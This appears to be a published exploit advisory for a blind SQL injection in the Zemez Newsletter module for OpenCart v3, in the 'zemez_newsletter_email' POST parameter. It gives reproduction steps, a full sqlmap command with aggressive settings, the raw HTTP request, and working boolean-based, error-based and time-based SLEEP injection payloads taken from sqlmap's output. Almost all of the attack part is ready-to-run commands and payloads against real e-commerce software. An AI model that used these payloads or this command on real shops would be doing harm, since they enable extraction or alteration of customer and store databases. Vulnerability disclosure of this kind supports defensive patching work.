OpenCart v3.x Newsletter Module – Blind SQLi
# Exploit Title: OpenCart v3.x Newsletter Module - Blind SQLi # Date: 19/05/2022 # Exploit Author: Saud Alenazi # Vendor Homepage: https://www.opencart.com/ # Software Link: https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=32750&filter_member=Zemez # Version: v.3.0.2.0 # Tested on: XAMPP, Linux # Contact: https://twitter.com/dmaral3noz * Description : Newsletter Module is compatible with any Opencart allows SQL Injection via parameter 'zemez_newsletter_email' in /index.php?route=extension/module/zemez_newsletter/addNewsletter. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. * Steps to Reproduce : - Go to : http://127.0.0.1/index.php?route=extension/module/zemez_newsletter/addNewsletter - Save request in BurpSuite - Run saved request with : sqlmap -r sql.txt -p zemez_newsletter_email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs Request : =========== POST /index.php?route=extension/module/zemez_newsletter/addNewsletter HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: OCSESSID=aaf920777d0aacdee96eb7eb50 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Content-Length: 29 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Connection: Keep-alive zemez_newsletter_email=saud =========== Output : Parameter: zemez_newsletter_email (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: zemez_newsletter_email=saud%' AND 4728=(SELECT (CASE WHEN (4728=4728) THEN 4728 ELSE (SELECT 4929 UNION SELECT 7220) END))-- - Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: zemez_newsletter_email=saud%' OR (SELECT 4303 FROM(SELECT COUNT(*),CONCAT(0x716a6b7171,(SELECT (ELT(4303=4303,1))),0x7162787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'xlVz%'='xlVz Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: zemez_newsletter_email=saud%' AND (SELECT 5968 FROM (SELECT(SLEEP(5)))yYJX) AND 'yJkK%'='yJkK |